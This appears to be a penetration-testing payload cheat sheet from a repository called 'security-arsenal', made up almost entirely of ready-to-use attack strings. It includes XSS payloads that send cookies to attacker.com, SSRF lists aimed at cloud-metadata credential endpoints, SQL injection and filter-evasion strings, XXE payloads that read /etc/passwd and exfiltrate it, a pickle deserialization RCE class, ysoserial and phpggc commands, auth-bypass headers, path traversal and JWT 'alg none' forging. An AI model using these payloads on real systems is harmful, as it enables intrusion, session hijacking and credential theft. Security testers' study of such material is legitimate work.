gabson0x/pentdem/security-arsenal

# Mail.tm API (free, no registration, fully programmatic)
create_temp_email() {
  DOMAIN=$(curl -s https://api.mail.tm/domains | jq -r '.[0].domain')
  EMAIL="hunter_$(date +%s)@${DOMAIN}"
  PASSWORD="TempPass123!"
  curl -s -X POST https://api.mail.tm/accounts \
    -H "Content-Type: application/json" \
    -d "{\"address\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" | jq .
  echo "$EMAIL" > /tmp/current_temp_email.txt
}
 
# Fetch inbox (for password reset tokens, verification links)
fetch_temp_email() {
  TOKEN=$(curl -s -X POST https://api.mail.tm/token \
    -H "Content-Type: application/json" \
    -d "{\"address\":\"$(cat /tmp/current_temp_email.txt)\",\"password\":\"TempPass123!\"}" | jq -r '.token')
  curl -s "https://api.mail.tm/messages" \
    -H "Authorization: Bearer $TOKEN" | jq '.[]'
}
 
# Guerrilla Mail (alternative, web-based)
# Visit: https://www.guerrillamail.com/
# Or use API: curl -s "https://api.guerrillamail.com/ajax.php?f=get_email_address"
 
# Yopmail (persistent inboxes — good for long sessions)
# Visit: https://www.yopmail.com/
# Inbox: https://www.yopmail.com/en/inbox?mail=YOUR_EMAIL

# Create 3 accounts for IDOR/privilege testing
for i in 1 2 3; do
  create_temp_email
  echo "Account $i created. Register on target, then proceed."
  sleep 2
done

<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'"><img src=x onerror=alert(1)>
javascript:alert(document.domain)
'-prompt.call(window,%20'xss_found")-

<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>

// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">
// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>
// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}
// React dangerouslySetInnerHTML reflection
// Vue v-html binding
// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>

// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL
// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document
 
# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google
 
# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true

http://localhost:6379      # Redis (unauthenticated, RESP protocol)
http://localhost:9200      # Elasticsearch (/_cat/indices)
http://localhost:27017     # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080      # Admin panel
http://localhost:2375      # Docker API — GET /containers/json
http://localhost:10.96.0.1:443  # Kubernetes API server

# All of these map to 127.0.0.1:
http://2130706433          # decimal
http://0177.0.0.1          # octal
http://0x7f.0x0.0x0.0x1   # hex
http://127.1               # short form
http://[::1]               # IPv6 loopback
http://[::ffff:127.0.0.1]  # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6
 
# DNS rebinding: A→external, then resolves to internal after allowlist check
 
# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://169.254.169.254/

'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based
'; SELECT SLEEP(5)--          -- MySQL time-based
' OR SLEEP(5)--

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--

# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--

/*!50000 SELECT*/ * FROM users     -- MySQL inline comment
SE/**/LECT * FROM users             -- comment injection
SeLeCt * FrOm uSeRs                -- case variation
%27 OR %271%27=%271                 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % data SYSTEM "file:///etc/passwd">
  <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
  %param1;
]>
<foo>&exfil;</foo>

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  <!ENTITY test "%xxe;">
]>
<foo>&test;</foo>

# Force XML parsing even on JSON endpoints
curl -s -X POST https://target.com/api/endpoint \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="0" y="20">&xxe;</text>
</svg>

<!-- SYSTEM keyword blocked? Try PUBLIC -->
<!DOCTYPE foo [<!ENTITY xxe PUBLIC "random" "file:///etc/passwd">]>
 
<!-- file:// blocked? Try PHP filter -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
 
<!-- Expect protocol (PHP) -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
 
<!-- Data URI -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "data://text/plain;base64,SSBhbSBhIHRlc3Q=">]>

import pickle, os
class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))
payload = pickle.dumps(Exploit())
# Send as cookie or POST body

# Generate payload
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com" > payload.bin
 
# Common gadget chains
java -jar ysoserial.jar CommonsCollections1 "id"
java -jar ysoserial.jar Spring1 "id"
java -jar ysoserial.jar Groovy1 "id"

# Laravel RCE
phpggc Laravel/RCE1 system 'id'
phpggc Laravel/RCE2 system 'id'
 
# Symfony RCE
phpggc Symfony/RCE1 system 'id'
 
# Monolog RCE
phpggc Monolog/RCE1 system 'id'

// Example serialized payload
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}
// Modify: s:4:"role";s:5:"admin"; → s:4:"role";s:13:"superadmin";

PHP: O:8:"ClassName":... (serialized objects)
Java: AC ED 00 05 (serialization magic bytes)
Python: \x80\x04\x95 (pickle protocol 4)
Ruby: \x04\x08 (Marshal format)
YAML: !ruby/object:ClassName (YAML object tags)

# Basic test
curl -s -H "Host: attacker.com" https://target.com/forgot-password
# Check if reset link uses attacker.com
 
# With X-Forwarded-Host
curl -s -H "X-Forwarded-Host: attacker.com" https://target.com/forgot-password
 
# Header variants to test
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-HTTP-Host-Override: attacker.com
Forwarded: host=attacker.com

# If cache uses Host as key
curl -s -H "Host: attacker.com" https://target.com/
# Then request normal URL — if cached response from attacker.com is served

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1, 10.0.0.1 (chain)

X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Custom-IP-Authorization: 127.0.0.1

X-Forwarded-User: admin
X-Authenticated-User: admin
X-Remote-User: admin
X-Admin: true
X-API-Key: admin
X-Debug: true

X-HTTP-Method-Override: DELETE
X-Method-Override: DELETE
_method: DELETE (in POST body)

X-Injected-Header: %0d%0aSet-Cookie:%20admin=true
X-Custom: %0d%0aX-Injected:%20yes

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd   # double URL encoding
/etc/passwd%00.jpg                     # null byte truncation
....\/....\/etc/passwd                 # mix of separators

# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile
 
# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...
 
# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)
 
# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)
 
# Add parameter
GET /api/orders → GET /api/orders?user_id=456

# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}
 
# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending
 
# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}

# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."